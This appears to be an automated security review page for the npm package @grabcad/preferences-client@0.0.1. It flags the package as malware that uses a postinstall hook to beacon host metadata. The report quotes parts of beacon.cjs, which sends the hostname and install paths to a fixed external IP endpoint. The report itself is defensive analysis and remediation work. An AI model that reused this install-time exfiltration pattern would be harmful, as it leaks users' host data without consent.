@grabcad/preferences-client@0.0.1
Compatibility shim.
AI Security Review
scanned 5h ago · by lpm-firewall-aiSource inspection confirms automatic installation-time disclosure of identifying host and project-location metadata to a fixed external recipient without installer consent. This supports blocking as install-hook abuse; the README's research claim does not establish consent.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation runs the postinstall hook; importing index.js also calls the beacon.
Impact
The recipient receives identifying host and project-location information from the installer or importing application.
Mechanism
The beacon posts package identity, hostname, installation path, working directory, and runtime version to a fixed endpoint without an affirmative consent check.
Attack narrative
The postinstall hook runs the beacon automatically. The beacon sends hostname and installation-location metadata to a fixed external endpoint, and package import invokes it as well. The source shows no affirmative consent gate for either activation path.
AI rationale
Source inspection confirms automatic installation-time disclosure of identifying host and project-location metadata to a fixed external recipient without installer consent. This supports blocking as install-hook abuse; the README's research claim does not establish consent.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package automatically runs the beacon during postinstall.
- The beacon sends a request to a fixed external endpoint.
- The request payload includes the hostname, installation path, and working directory.
- Importing the package also activates the beacon.
Evidence against
- The README describes the package as an authorized dependency-confusion test, but that statement does not establish installer consent.
Behavioral surface
Network
UrlStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"README.md"
],
"license": "MIT"
}
High
Suspicious Lifecycle Evidence
The package automatically runs the beacon during postinstall.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@grabcad/preferences-client";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
8 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @grabcad/preferences-client@0.0.1.
See all versions of @grabcad/preferences-client for other recorded verdicts.
- Avoid installing @grabcad/preferences-client@0.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.